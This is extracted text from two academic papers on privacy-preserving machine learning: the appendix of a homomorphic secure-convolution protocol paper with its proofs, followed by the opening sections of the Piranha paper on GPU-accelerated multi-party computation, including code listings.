Mw
e,dC = d C

Cw
e, dH = d H−h+1

Hw−h+1e and dW = d W−h+1
Ww−h+1e. Ow = HwWw(MwCw−1)+Ww(h−1)+h−1.

• Set H ′ = bH−h+s
s c, W ′ = bW−h+s

s c, H ′w = bHw−h+s
s c and W ′w = bWw−h+s

s c.

1: Bob first partitions 〈T〉B into blocks along the H-axis and W -axis
〈
Tα,β

〉B ∈ ZC×Hw×Ww
q for α ∈ [[dH ]] and β ∈ [[dW ]]. Each

block
〈
Tα,β

〉B consists of Hw continuous rows and Ww continuous columns of 〈T〉B. Indeed,
〈
Tα,β

〉B is taken from the

α(Hw−h+1)-th row and β(Ww−h+1)-th column of 〈T〉B. Zero-padding might be used to make sure all
〈
Tα,β

〉B blocks
contain the same number of rows and columns.

2: Bob then splits the channels of each block tensor
〈
Tα,β

〉B into non-overlapping blocks
〈
Tγ,α,β

〉B ∈ZCw×Hw×Ww
p for γ∈ [[dC]].

Also, zero-padding might be used to make sure all
〈
Tγ,α,β

〉B blocks contain the same number of channels.

3: Bob encrypts and then sends the RLWE ciphertexts {CTγ,α,β = RLWE
N,q,p
pk (πi

conv(
〈
Tγ,α,β

〉B
))} to Alice.

4: Alice partitions 〈T〉A into blocks
〈
Tγ,α,β

〉A ∈ ZCw×Hw×Ww
p following the same manner in Step 1 and Step 2. Then Alice

encodes each block to a polynomial via
〈
t̂γ,α,β

〉A
= πi

conv(
〈
Tγ,α,β

〉A
).

5: Alice then splits K into sub-kernels along the M-axis, i.e., Kθ ∈ ZMw×C×h×h
p for θ ∈ [[dM]]. Then Alice further split

each Kθ into smaller block along the C-axis, i.e., Kθ,γ ∈ ZMw×Cw×h×h
p for γ ∈ [[dC]]. Zero-padding might be used to

make sure all blocks contains the same number of elements. Then Alice encodes these block tensors into polynomials
k̂θ,γ = πw

conv(Kθ,γ,Ow).

6: Alice samples 〈T′〉A from ZM×H ′×W ′
p uniformly at random and outputs it.

7: On receiving {CTγ,α,β}, Alice computes CT′
θ,α,β = �γ∈[[dC ]](CTγ,α,β �

〈
t̂γ,α,β

〉A
)� k̂θ,γ for θ ∈ [[dM]],α ∈ [[dH ]] and β ∈

[[dW ]].
8: [Extrat and Re-mask.]For each c′ ∈ [[M]], i′ ∈ [[H ′]], and j′ ∈ [[W ′]], Alice sends an LWE ciphertext to Bob ctc′,i′, j′ =

Extract(CT′
θ,α,β,Ow− cCwHwWw + isHw + js)� 〈T′〉A [c′, i′, j′], where the index of CT′

θ,α,β is calculated as θ = bc′/Mwc,
α = bi′s/(Hw− h+ 1)c, and β = b j′s/(Ww− h+ 1)c. The position of the extracting coefficient is determined by c =
c′ mod Mw, i = i′ mod H ′w and j = j′ mod W ′w.

9: On receiving the ciphertexts {ctc′,i′, j′}, Bob outputs 〈T′〉B ∈ ZM×H ′×W ′
p where 〈T′〉B [c′, i′, j′] = LWE−1

sk (ctc′,i′, j′).

Figure 11: Proposed Secure Convolution Protocol (Full Version)

secure convolution using dMdCdHdW homomorphic multi-
plications and homomorphic additions. Indeed, the RLWE
ciphertext CT′

θ,α,β in Step 7 corresponds to the convolution
of the block tensor Tα,β and the sub-kernels Kθ. As a result,
each RLWE ciphertext CT′

θ,α,β obtains at most MwH ′wW ′w val-
ues of T′ in its encrypted coefficients. Finally, Alice extracts
MH ′W ′ LWE ciphertexts that each of them encrypts one entry
of the output tensor T′. Similar to the basic version, in Step 8
Alice randomizes the encrypted values in the LWE ciphertexts
by homomorphically adding uniform random values before
sending back the LWE ciphertexts to Bob for decryption.

Theorem 4 The protocol HomCONV in Figure 11 realizes

the ideal functionality FCONV of Figure 1b for the field F=
Zp and for h2 ≤ N in presence of a semi-honest admissible
adversary.

D Proofs

Proof 3 (Proposition 2) We write O′ = O− c′CHW for sim-
plicity. By the definition (1) we have

t̂ ′[x] = ∑
0≤d≤x

t̂[d]k̂[x−d]− ∑
x<d<N

t̂[d]k̂[N + x−d] (6)
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for all x ∈ [[N]]. Since t̂[x] is zero for all x ≥CHW and the
target position O′+ i′sW + j′s >CHW, we thus have

t̂ ′[O′+ i′sW + j′s] = ∑
d<CHW

t̂[d]k̂[O′+ i′sW + j′s−d]

= ∑
c,i, j

t̂[cHW + iW + j]k̂[O′+ i′sW + j′s− (cHW + iW + j)]

= ∑
c,i, j

t̂[cHW + iW + j]k̂[O′− cHW − (i− i′s)W − ( j− j′s)]

= ∑
c,i′, j′

t̂[cHW +(i′s+ l)W + j′s+ l′]k̂[O′− cHW − lW − l′]

The last line replaces i = i′s+ l and j = j′s+ l′. Also, accord-
ing to the definition of πw

conv, the value k̂[O′−cHW − lW − l′]
is zero when l, l′ /∈ [[h]]. Thus, we only need to take care of
the positions that l, l′ ∈ [[h]]. The above equation continues.

= ∑
c∈[[C]]

l,l′∈[[h]]

t̂[cHW +(i′s+ l)W + j′s+ l′]k̂[O′− cHW − lW − l′]

= ∑
c∈[[C]]

l,l′∈[[h]]

T[c, i′s+ l, j′s+ l′]k̂[O− c′CHW − cHW − lW − l′]

= ∑
c∈[[C]]

l,l′∈[[h]]

T[c, i′s+ l, j′s+ l′]K[c′,c, l, l′]

The final line is exactly T′[c′, i′, j′]. �

Proof 4 (Theorem 2.) The correctness of Theorem 2 is di-
rectly derived from Proposition 2. We now show the the pri-
vacy part.
(Corrupted Alice.) Alice’s view of ViewHomCONV

A consists of
an RLWE ciphertext CT′. The simulator SimA for this view
can be constructed as follows.

1. Given the access to meta, SimA outputs the ciphertext
C̃T
′
= RLWE

N,q
pk (0) to Alice.

The security against a corrupted Alice (Server) is directly
reduced to the semantic security of the underly encryption.
Thus we have ViewHomCONV

A ≈c SimA(meta).
(Corrupted Bob.) Bob’s view of ViewHomCONV

B consists of
LWE ciphertexts {ctc′,i′, j′}, and the decryption of these LWE
ciphertexts, i.e., 〈T′〉B. The simulator SimC for this view can
be constructed as follows.

1. On receiving the RLWE ciphertext CT from Bob and
given the access to meta, SimB samples uniform random
polynomial r̂ ∈ AN,p and computes C̃T= RLWE

N,q
pk (r̂).

2. For each c′ ∈ [[M]], i′ ∈ [[H ′]] and j′ ∈ [[W ′]], SimB out-
puts an LWE ciphertext c̃tc′,i′, j′ = Extract(C̃T) to Bob.

3. Given the access to out, SimB outputs the tensor T̃ such
that T̃[c′, i′, j′] = r̂[O− c′CHW + i′sW + j′s] for each
c′ ∈ [[M]], i′ ∈ [[H ′]] and j′ ∈ [[W ′]].

Table 9: DNN Architectures.

Networks
linear operations non-linear operations

CONV BN FC ReLU-then-Trunc Trunc

MNet 7 0 1 7 0
RN32 34 34 1 31 37

SqNet 26 0 0 26 0
RN50 53 49 1 49 49
DNet 121 121 0 121 120

MNet = MiniONN; RN32 = ResNet32; RN50 = ResNet50
SqNet = SqueezeNet; DNet = DenseNet121

Inputs & Outputs: 〈z〉A2 ,〈z〉
B
2 ← AND

(
〈x〉A2 ,〈x〉

B
2 ,〈y〉

A
2 ,〈y〉

B
2

)
s.t. x,y,z ∈ {0,1} and z = x∧ y.

1: Alice and Bob jointly generate a beaver triple: 〈c〉A2 ⊕〈c〉
B
2 =

(〈a〉A2 ⊕〈a〉
B
2 )∧ (〈b〉

A
2 ⊕〈b〉

B
2 ).

2: Alice computes 〈e〉A2 = 〈x〉A2 ⊕〈a〉
A
2 and 〈 f 〉A2 = 〈y〉A2 ⊕〈b〉

A
2 .

Bob computes 〈e〉B2 = 〈x〉B2 ⊕〈a〉
B
2 and 〈 f 〉B2 = 〈y〉B2 ⊕〈b〉

B
2 .

3: Alice and Bob open e and f .
4: Alice computes 〈z〉A2 = (〈a〉A2 · f )⊕(〈b〉A2 ·e)⊕〈c〉

A
2 , and Bob

computes 〈z〉B2 = (e · f )⊕ (〈a〉B2 · f )⊕ (〈b〉B2 · e)⊕〈c〉
B
2

Figure 12: Protocol for FAND.

Inputs and Outputs: 〈d〉A2 f ,〈d〉B2 f ← B2A
(
〈c〉A2 ,〈c〉

B
2 , f

)
such

that c ∈ {0,1} and d = c.

1: Alice and Bob invoke an instance of
(2

1
)
-COT f , where Alice

is the sender with correlation function g(x) = x−2〈c〉A2 and
Bob is the receiver with input choice 〈c〉B2 . Alice learns x and
Bob learns y.

2: Alice computes 〈d〉A2 f = 〈c〉A2 −x, and Bob computes 〈d〉B2 f =

〈c〉B2 + y.

Figure 13: B2A Protocol.

Similarly, the LWE ciphertexts {ctc′,i′, j′} ≈c {c̃tc′,i′, j′} due to
the semantic security. Also, the values in the output tensor
〈T′〉B of Bob in HomCONV distribute uniformly in Zp which
is exact the same distribution SimB samples T̃. Thus we have
ViewHomCONV

B ≈c SimB(meta,out). �

The security proofs for the Theorems 1 3 and 4 can be given
in a similar manner.

E Protocols for FAND and F 2 f

B2A

We describe the classic protocol for computing FAND in Fig-
ure 12, where beaver triples are generated with

(2
1

)
-ROT1 [3].

We describe a protocol for F 2 f

B2A in Figure 13, which is also
used in CryptoFlow2 [46, 48], except that

(2
1

)
-COT f is instan-

tiated with VOLE-style OT.
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Piranha: A GPU Platform for Secure Computation

Jean-Luc Watson, Sameer Wagh, and Raluca Ada Popa
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Abstract
Secure multi-party computation (MPC) is an essential tool for
privacy-preserving machine learning (ML). However, secure
training of large-scale ML models currently requires a pro-
hibitively long time to complete. Given that large ML inference
and training tasks in the plaintext setting are significantly accel-
erated by Graphical Processing Units (GPUs), this raises the
natural question: can secure MPC leverage GPU acceleration?
A few recent works have studied this question in the context
of accelerating specific components or protocols, but do not
provide a general-purpose solution. Consequently, MPC devel-
opers must be both experts in cryptographic protocol design
and proficient at low-level GPU kernel development to achieve
good performance on any new protocol implementation.

We present Piranha, a general-purpose, modular platform
for accelerating secret sharing-based MPC protocols using
GPUs. Piranha allows the MPC community to easily leverage
the benefits of a GPU without requiring GPU expertise.
Piranha contributes a three-layer architecture: (1) a device
layer that can independently accelerate secret-sharing
protocols by providing integer-based kernels absent in current
general-purpose GPU libraries, (2) a modular protocol
layer that allows developers to maximize utility of limited
GPU memory with in-place computation and iterator-based
support for non-standard memory access patterns, and (3)
an application layer that allows applications to remain
completely agnostic to the underlying protocols they use.

To demonstrate the benefits of Piranha, we implement 3
state-of-the-art linear secret sharing MPC protocols for secure
NN training: 2-party SecureML (IEEE S&P ’17), 3-party Fal-
con (PETS ’21), and 4-party FantasticFour (USENIX Security
’21). Compared to their CPU-based implementations, the same
protocols implemented on top of Piranha’s protocol-agnostic
acceleration exhibit a 16−48× decrease in training time. For
the first time, Piranha demonstrates the feasibility of training
a realistic neural network (e.g. VGG), end-to-end, using MPC
in a little over one day. Piranha is open source and available at
https://github.com/ucbrise/piranha.

1 Introduction
Applications like machine learning (ML) have enjoyed tremen-
dous success in automating tasks such as biometric authentica-
tion, personalized ad recommendation, or detecting fraudulent
financial transactions [13,65,66]. However, these models come
at a significant privacy cost, as the data underlying them can be
highly sensitive, ranging from medical data to online behavior

and financial records. This has incentivized the development
of privacy-preserving approaches to ML [32, 37, 91].

Secure Multi-Party Computation (SMC/MPC) has
emerged as a promising tool for privacy-preserving compu-
tation [12, 39, 91]. MPC enables a group of entities to perform
a joint computation without revealing their inputs to the
computation. Thus, when data is sensitive, MPC can enable a
the group of entities to generate insights from this data (such as
training ML models or performing inference) without ever dis-
closing the data in plaintext to the other parties involved. MPC
has shown tremendous progress in the past few years, making
significant algorithmic improvements [15,16,57,59] as well as
robust, efficient, and versatile implementations [7, 21, 45, 72].
However, despite these advances, the overhead of MPC
remains prohibitive when considering large computations. For
instance, secure training of large machine learning models is
over 4 orders of magnitude slower than plaintext training [88].

In the plaintext setting, large ML inference and training
tasks are made practical by the use of GPUs – many-core hard-
ware accelerators that support highly-parallelizable workloads.
Individual operations, or kernels, are tiled across the many
GPU processor threads to minimize execution time over large
input data. For example, the use of GPUs can improve the
training times of commonly used ML models by 10−30× [77],
making them an essential tool in today’s ML infrastructure.
A few recent works [35, 42, 57, 79] have utilized GPUs to
accelerate MPC computation. However, their GPU usage is
limited to accelerating individual operations or a specific MPC
protocol. Delphi [57], for example, only accelerates convo-
lution operations before continuing computation on the CPU,
while CryptGPU [79] designs a specific 3-party protocol for its
application. As a result, any new protocol must re-implement
the same basic GPU support, a difficult task in general.
Requiring MPC developers to develop domain-specific
knowledge of GPU task scheduling and memory hierarchy
to implement efficient kernels raises the barrier to entry and
impedes the development of practical MPC-based systems.

1.1 Challenges and Insights
Supporting efficient secure computation on the GPU
faces a few core problems. Plain-text ML computation is
straightforward and can be done directly in floating point
with reasonable memory constraints, while the equivalent
multi-party computation can be accomplished using any
number of different protocols, operating over integer types,
with significantly higher available memory requirements. We
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Figure 1: Piranha’s three-layer architecture in blue, with
components implemented on top in white. On the device
layer, we contribute low-level GPU kernels accelerating local,
integer-based data shares. At the protocol layer, we implement
functionality for three different linear secret-sharing (LSSS)
MPC protocols at the protocol layer: SecureML [60] (2-party),
Falcon [88] (3-party), and FantasticFour [23] (4-party). At
Piranha’s application layer, we provide a protocol-agnostic
neural network library that can be executed by any of the
protocols. Piranha is modular in that it can support additional
components beyond what we provide.

design Piranha to address these challenges while providing a
general-purpose platform for MPC development, with support
for linear secret-sharing schemes (LSSS), encompassing a
large (and growing) number of state-of-the-art protocols for
secure computation [18, 23, 56, 64, 69, 86, 88].

Challenge: Protocol-independent acceleration. As even
simple multi-party operations such as multiplications may
be computed using a wide variety of approaches based on
the protocol used, how can a platform efficiently provide
acceleration support to each of them? While entire MPC
computations are quite different, they are almost always
decomposed into individual operations over local data shares
mixed with communication between the parties to obtain
the final result. Thus, accelerating local operations over
local shares can yield significant performance benefits while
remaining entirely protocol-independent. Piranha uses vector
shares as the basic unit of computation over individual values,
as it ensures that any protocol or application implemented
using them will inherently take advantage of the GPU’s
parallelism. With a shared abstraction for local data, Piranha
can transparently manage data transmission and memory
allocation, keeping data on the GPU for the entirety of the
computation while minimizing data transfer from the CPU.

Challenge: Enabling integer-based GPU computation.
Data representation is an important consideration for secure

computation libraries. There is a tension between supporting
high-precision real values required by applications such as NN
training (e.g. float datatypes) and structured algebraic proper-
ties required by the secret sharing schemes (e.g. int datatypes).
State-of-the-art secure computation libraries and frameworks
resolve this tension by using fixed-point datatypes, encoding
real values with a fixed precision into a large integral datatype
(typically 64-bits). Unfortunately, GPUs primarily focus on
accelerating floating-point computation with extremely effi-
cient kernel implementations, targeting plaintext graphics and
ML workloads. This has resulted in a dearth of GPU kernels
for large bitsize (32- and 64-bit) integer computations [3]. We
argue that the lack of integer kernels in existing GPU libraries
significantly hampers simple acceleration for MPC protocols;
Piranha explicitly provides for integer-based shares and match-
ing GPU integer kernels to accelerate common operations.

Challenge: Supporting large MPC problems in limited
GPU memory. While modern CPUs boast terabytes of RAM
for computation, present-day GPUs are constrained to a
severely limited pool of available memory – 12 or 16 GB for
commodity models. This is a salient issue for MPC, where
protocols often maintain duplicated copies of data in separate
secret shares, leading to a multiplicative increase in memory
requirements. When paired with ML model parameters whose
footprint can range in the gigabytes, even in plaintext, Piranha
must make as efficient use of its limited device memory as
possible. This can directly impact overall performance: in ML
training, memory availability limits the total batch size – i.e.
the number of data points processed in parallel – that can be
supported on a single GPU. To address this problem, we pri-
marily support in-place operations for local shares, performing
additional memory allocation only when a protocol explicitly
requests it. While applications like privacy-preserving ML
training will always require a baseline allocation, encouraging
protocols to reuse existing buffers minimizes temporary peaks
in total memory usage. Second, MPC protocols may exhibit
non-standard memory access patterns incompatible with the
integer kernels available. Naively copying data into the desired
layout before performing the computation unnecessarily limits
the problem sizes we can support, so to efficiently parallelize
some operations, Piranha’s insight is that memory-efficient
computation can be achieved with views over GPU memory,
allowing for in-place computation. In particular, this approach
precludes the need to manually modify GPU data layouts,
avoiding any temporary memory allocation or data transfer
overhead that the computation would normally require.

1.2 Evaluation Summary
Piranha addresses these issues with a modular, three-layer
GPU-based framework for secure computation (Figure 1)
whose structure we discuss in Section 2. We demonstrate the
practical use of Piranha in implementing three different LSSS
protocols for secure neural network training – the 2-party
SecureML [60], 3-party Falcon [88], and 4-party Fantastic
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Four [23] protocols. Piranha does not propose a new secure
multi-party protocol, rather, we focus on demonstrating how
the platform accelerates existing protocols. We plug these
protocols into a high-level neural network library to provide
GPU-assisted private training and inference of ML models.

Compared to state-of-the-art CPU implementation [28] of
computational building blocks such as matrix-multiplication,
convolutions, and comparisons, Piranha improves runtime
by 2 to 3 orders of magnitude. Thus, Piranha makes a big step
forward towards practical MPC training. For example, prior
work such as Falcon estimates that training a realistic neural
network like VGG16 using its 3-party protocol would require
14 days [88]. In comparison, Piranha can perform the same
training process in 33 hours, a 10× improvement.

One would expect that since Piranha accelerates general
LSSS-based MPC, Piranha would thus be slower than a
system like CryptGPU [79] that is tailored for a specific
MPC protocol. We show that in fact, we achieve generality
while demonstrating a 2-12× improvement in runtime and
supporting up to a 4× greater problem size on the same GPU
hardware. CryptGPU [79] only demonstrates full end-to-end
training on simple networks such as AlexNet [51], while only
micro-benchmarking single-layer training passes for larger
networks like VGG16 [78] which has twice as many param-
eters. In contrast, for the first time, Piranha demonstrates the
feasibility of training a realistic neural network like VGG [78],
end-to-end, using MPC in a little over one day.

2 System Architecture
Piranha contributes three distinct, modular layers that provide
a separation of concerns for GPU-accelerated secure compu-
tation (Figure 1): a device layer that abstracts GPU-specific
code from MPC developers; a protocol layer that implements
different MPC protocols, their secret-sharing schemes, and
adversarial models; and an application layer that uses these
protocols in an agnostic manner for high-level computation.

The device layer consists of two components. First, it
provides an abstraction of a GPU-based integer vector, which
represents a locally-held share of a vector whose values
are secret-shared among multiple parties. These shares live
on the GPU throughout the computation, minimizing data
transfer overhead. Communication is handled in a protocol-
independent manner: when necessary, the device layer copies
a share to the CPU before transmitting it over the network.
Second, the device layer maintains a set integer kernels that
implement commonly-needed functionality (e.g. elementwise
addition or matrix multiplication) over local share vectors. We
discuss how MPC operations are accelerated in Section 3.

The protocol layer allows MPC developers to compose
operations on local shares into a full protocol, benefiting from
GPU acceleration without developing expert knowledge or
re-implementing GPU support from scratch. Applications
rely on each protocol to provide an interface in the form of
a secret-shared vector and a set of functionalities that can

operate on them. Alongside individual protocol definitions, we
implement protocol functionality under the Arithmetic Black
Box Model that can be used to supplement any of the specific
protocols, demonstrating the benefit of Piranha’s modular
structure. In addition, MPC protocols can require intricate
computation that cannot be foreseen at the device layer;
Section 4 details how iterator-based views over local shares
on the GPU can be used to enable these operations while
remaining within the GPU’s limited memory constraints.

Finally, at the application layer, computation can focus
on solving domain-specific challenges such as secure neural
network training, without a dependency on any specific
protocol. The functionality set provided by each protocol
determines which applications can use a given protocol
without requiring modification.

To put Piranha in context, imagine implementing a simple
privacy-preserving neural network layer. Its core logic (e.g.
updating layer parameters during forward and backward
passes) remains untouched at the application layer. Instead
of using plaintext vectors, however, the layer makes use of a
vector secret-shared by an implementation at the protocol layer,
and operates on these secret shares using the corresponding
protocol functionality, for example, a privacy-preserving
matrix multiplication. In turn, the protocol decomposes its
multiplication into a series of local matrix multiplications,
which are accelerated by a protocol-independent integer
kernel in Piranha’s device layer.

Threat model. Piranha assumes that parties participating
in a protocol execution operate in separate trust domains,
using their dedicated GPUs (e.g. in a cloud provider of choice).
A GPU in Piranha communicates with another parties’ GPU
through their associated CPUs and across a normal Internet
connection. As such, Piranha can be used in both LAN and
WAN environments. Due to Piranha acting as a platform for
existing MPC protocols, parties executing an application with
Piranha inherit the security guarantees of the underlying MPC
protocol. For example, a protocol with semi-honest security
retains those guarantees while being executed by Piranha. We
implement and evaluate three such semi-honest protocols on
top of Piranha in Section 6.

3 Device layer

Effectively and easily interfacing with the GPU is a major
barrier to MPC developers who wish to accelerate their
protocols, but lack experience in programming optimized GPU
kernels. Thus, a flexible abstraction is needed to support a wide
array of MPC protocols while minimizing any domain-specific
knowledge required. In this section, we discuss how Piranha
addresses two primary challenges in providing extensible GPU
support for MPC protocols: managing vectorized GPU data
and supporting acceleration for integer-based computation.
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Listing 1 Sample DeviceData usage demonstrating its
key capabilities: transparently accelerating element-wise
operations (lines 7-8), using Piranha-implemented integer
kernels for computation such as matrix multiplication (line
11), communicating share contents with other parties (lines
14-15), and using iterators to define views of existing data
without performing a data copy (lines 18-21).
 // Device share initialization
 DeviceData<uint32_t> a = {1, 2, 3, 4, 5, 6};
 DeviceData<uint32_t> b = {1, 0, 1};
 DeviceData<uint32_t> c(2);


 // Vectorized element-wise operations
 a += 10;
 a *= 2;


 // GEMM call: a (2x3) * b (3x1) -> c (2x1)
 c = gpu::gemm(a, b, 2, 1, 3);


 // Communication with party id 1
 a.send(1);
 a.join();


 // Even (offset=0) or odd (offset=1) values
 DeviceData<uint32_t> d(
 stride(c,2).begin()+offset,
 stride(c,2).end()
 );

3.1 Data management on the GPU
Piranha provides access to GPU memory through a single
data abstraction we call a DeviceData buffer. A key property
thatDeviceDatas maintain is that their data resides only on the
GPU; no buffers are maintained in CPU memory to avoid data
transfer overhead when computing with GPU-based kernels.
In the context of MPC protocols, these buffers often logically
correspond to local copies of a secret share. A DeviceData
can be templated by integral C++ data types such as uint32_t
or uint64_t. Share vectors, not individual share values, are the
basic unit of computation in Piranha, and so the abstraction
is functionally equivalent to a std ::vector<> class, except that
the data remains on-device. Listing 1, lines 2-4 show a few
examples of how DeviceData vectors can be initialized.

Element-wise operations over collections of secret-shared
values are common in secure computation. As a result, they
are prime targets to accelerate in parallel, enabling the GPU
to naturally improve protocol performance. As an added
benefit, by using vectorized DeviceData shares, developers
at the protocol layer inherently parallelize their protocol
implementation. Piranha’s device interface supports a variety
of local operations on individual share vectors; as a simple
example, lines 7 and 8 of Listing 1 perform an accelerated
element-wise scalar addition and multiplication, with each
value modified in parallel by a different GPU kernel thread.

A primary insight Piranha makes is that, independent of the
specific protocol, MPC functionalities over secret-shared data
decompose into a common set of local arithmetic operations. It
is this narrow waist that the device layer targets for acceleration
in a way that can benefit every MPC protocol. Consider a
widely used primitive, secure matrix multiplication, that
decomposes into simple matrix multiplications and additions
over local data in a protocol-agnostic way. To this end,Piranha
provides integer kernels for performing general matrix multi-
plication (GEMM) over theDeviceData class, which we use to
build secure matrix multiplication protocols (cf. Section 4 for
an example). An individual GEMM call is shown in Listing 1,
line 11. In Section 6, we evaluate how these kernels improve
the performance of secure matrix multiplication by up to
200× over a CPU-based implementation.
A note on communication. Currently, support for direct
GPU-GPU communication over the network is nascent and not
widely available. Thus, in Piranha, communication between
GPUs is bridged via the CPU, incurring a data copy overhead
for each round of communication. Given that GPU-CPU data
transfer speeds are significantly faster than communication
over the network, this overhead is not significant in the
applications we consider. We manage communication by
abstracting this complexity away from MPC developers by
providing simple data transmission functions. A sample
communication round to a different machine is shown at
Listing 1, lines 14 and 15. In the background, Piranha copies
the values in DeviceData a to a temporary CPU buffer, and
transmits it over the network. The protocol execution can
then wait until the buffer has been successfully sent by calling
join() to synchronize protocol execution.

3.2 Iterator-based operations
Another key design criteria for Piranha’s device share abstrac-
tion is memory efficiency. While CPU-based protocols have
enjoyed “effectively” unlimited memory availability, realistic
GPU-based MPC computation is restricted to commercially-
available GPUs that generally have around 16 GBs of memory.
Given the increase in memory consumption required by secret-
shared protocols, the result of inefficient memory usage is to
unnecessarily limit application problem sizes. Furthermore,
the overhead of data allocation, particularly for vectors of large
sizes, forms a significant portion of the total overhead of using
GPUs. To address this issue, we seek to avoid any redundant
temporary data allocation used to transform data into a
specific layout for kernel execution. We achieve this using an
iterator-based abstraction in our DeviceData class, as follows.
Piranha’s iterators allow the developer to traverse data

vectors in a program-defined order, applying operations over
a “view” of GPU memory decoupled from the actual physical
data layout. For instance, a common operation requires
pairwise operation over elements of a vector (cf Section 4
for details), i.e., operations over vec[2i],vec[2i+1] for a given
vector vec and over all indices i. A naïve approach would
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either require copying the odd and even components of the
vector or to allocate new memory for storing the result. Our
iterator-based approach allows us to define odd and even
views over the same vector that effectively allow the GPU
to interpret the memory with a stride of 2. This abstraction
enables memory efficient code design by allowing us to view
a given memory allocation in different ways. Hence, this
approach encourages limited additional memory allocation
– performing in-place element-wise operations as well as
storing the computation result in existing memory.

Lines 18-21 of Listing 1 demonstrate this concept. The two
DeviceData vectors even and odd hold a view of all the values
in c at a stride of 2, or put otherwise, skipping every other
value (odd starts at index 1). Note that this is simply a “view”,
i.e., even,odd operate on the same physical memory held by
the original DeviceData c. Creating this view for every other
indexed value allows a pairwise computation to be performed
with no additional memory allocation required.

3.3 Integer kernels
The MPC protocols we implement in Section 4.4 operate on
additive secret sharing over 32- or 64-bit ranges. As discussed
in Section 1, there is a lack of kernel implementations for these
data types [3], because prior work has focused on improving
the performance for floating point data types. Some integer
kernels are implemented for 8-bit matrix multiplications into
32-bit accumulators, for example, but the lack of support for
larger integer types can be attributed to concerns of overflow
in the product. Thus, there are two ways to benefit from GPUs
for large bit-width integer types.

The first is to decompose large integers into multiple values
of smaller width, such as 16 bits, representing the original
value x = x3248 + x2232 + x1216 + x0. Computation can then
be performed over each 16-bit sub-value x3, x2, x1, x0 by
embedding them into 64-bit floating point types. Note that a
large slack is required, as the result of multiplying matrices of
16-bit values will often exceed 32 bits in size and floating point
computation does not have the same modular overflow as for
integers. The problem with this approach is that it requires
multiple individual floating point kernel calls over 16-bit
values to compute one 32- or 64-bit integer result.

The second approach, which we take, is to directly imple-
ment kernels over integer data types. Piranha directly adds
support for full-size integer matrix multiplication and convo-
lution kernels at the device layer. We use the general-purpose
templated matrix multiplication and convolution kernels in
CUTLASS [4] to support 32- and 64-bit integer types.

While we cannot use existing, highly optimized floating-
point GPU kernels such as those provided by cuBLAS [3],
there are two benefits to our approach: (1) Piranha’s modular
structure allows independent improvement of kernels, and thus
future hardware support for large integer operations on GPUs
can be easily integrated and benefit all pre-existing protocols,
and (2) the ability to directly compute integer results in a

single call to a GPU kernel yields a better performance overall
than multiple calls to a more efficient floating point kernel. We
demonstrate these gains in Section 6 and Appendix B.

4 Protocol layer

Piranha provides a framework for implementing various MPC
protocols leveraging the benefits of GPU acceleration. We first
describe how we use Piranha’s DeviceData class to imple-
ment MPC protocols, then highlight how complex protocols
can be parallelized in a memory-efficient manner, and finally,
how Piranha allows for functionality reuse between protocols.

4.1 MPC protocol implementation

Any protocol implemented in Piranha specifies two things:
the secret sharing base, including the adversarial model, and
operations over this secret sharing base. For example, suppose
a MPC developer seeks to implement a 3-party protocol using
replicated secret sharing for an honest majority of semi-honest
corruptions (for instance [9, 88]). In this setting, a secret value
x is composed of 3 shares x≡ x0+x1+x2, where each party
holds only 2 of the 3 shares. Thus, the class for such a protocol
will contain two DeviceData objects, one per share. Simple
operations such as additions can be specified component-wise,
leveraging the underlying GPU layer as shown in Listing 1.

To multiply two secret matrices x,y, if the first party holds
shares (x0,x1), and (y0,y1), the output can be computed by
regrouping the terms of the product as [9]:

x·y=(x0+x1+x2)·(y0+y1+y2)

=(x0 ·y0+x0 ·y1+x1 ·y0)+(...)+(...)
(1)

Thus the computation can be split such that the first term can be
computed locally by the first party (and similarly for the other
parties). Leveraging the device layer for each individual local
GEMM computation (cf. Listing 1 line 11), the overall secure
matrix multiplication protocol can be easily implemented
as shown in Listing 2. This example shows the ease of
implementing various MPC functionalities in Piranha’s
protocol layer by building over the local functionality at the
device level. In Section 6, we directly evaluate the performance
benefit of this implementation against a similar CPU-based
protocol for secure matrix multiplication.

Randomness generation. We assume that the parties main-
tain secure point-to-point communication channels and share
pairwise AES keys to generate common randomness. Recent
works have looked at efficiently generating randomness on
the GPUs [10, 54, 89]. While CPU cores outperform GPU
cores for smaller amount of randomness, it becomes desirable
to generate randomness using GPUs for large scale random
number requirements [10]. Such random number generation
can be easily added to the protocol layer in Piranha.
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Listing 2 A replicated secret-sharing protocol class (3-party
setting) implemented at the Piranha protocol layer. The
protocol specifies the secret-sharing base: each party has two
local DeviceData shares templated by type T. The matmul
functionality is performed for this class by implementing a
secure matrix multiplication based on Eq. 1.
 // Replicated secret sharing class
 class RSS<T> {
 DeviceData<T> shareA, shareB;
 }


 void RSS<T>::matmul(RSS<T> a, RSS<T> b,
 RSS<T> c, ...) {
 DeviceData<T> localC;


 localC += gpu::gemm(a.shareA, b.shareA, ...);
 localC += gpu::gemm(a.shareA, b.shareB, ...);
 localC += gpu::gemm(a.shareB, b.shareA, ...);
 // Reshare and truncate localC to c
 }

4.2 Memory-efficient protocols
Section 3 demonstrates an iterator-based implementation for
DeviceData buffers. In this section, we showcase how this
abstraction can be used to perform efficient in-place memory
computations. As an example, we consider a CarryOut pro-
tocol, that securely computes the carry bit for binary addition
i.e., given the bitwise sharing (ak−1,··· ,a0) and (bk−1,...,b0)
of two k-bit vales a,b, the goal is to compute the carry bit at the
MSB ck. This primitive forms the backbone of nearly every
state-of-the-art comparison protocol [24, 34, 56, 59]. In the
case of the neural network library we discuss in Section 5,
comparisons enable standard activation functions and pooling
operations including ReLU and Maxpool.

The computation proceeds in log2k rounds by emulating a
simple carry-lookahead adder [5]. As part of the computation,
at round i∈{1,2,···,log2k}, the CarryOut computes the AND
between adjacent propagating bits, i.e., p′j = p2 j∧p2 j+1 where
p j are propagation bits at round i and p′j are the propagation
bits for the next round. At the end of log2k rounds, the final
bit is the result of CarryOut.

A naïve implementation of the above will suffer from two
major inefficiencies. First, bitwise expansion requires that each
secret-shared bit be stored separately, increasing the memory
footprint on the GPU. Second, using contiguous allocations
to separate pairwise bits results in non-trivial overhead from
additional memory use and data copies. Figure 2a shows 3
rounds of this CarryOut operation implementation where the
propagating p bits are combined. Unfortunately, due to the
vectorized nature of data computation on the GPU, half of p
must be copied at each step to a different memory allocation
before the next round can be evaluated (red-outlined in
Figure 2a). During one execution of this particular CarryOut
implementation, log(n) additional data copies are performed.

Figure 2: Comparison of a memory-inefficient naive carryout
implementation Figure 2a and our iterator-based in-place
computation Figure 2b. In the former approach, new memory
allocations and data copy – highlighted in red – are done to
split pairwise elements into contiguous vectors for parallel
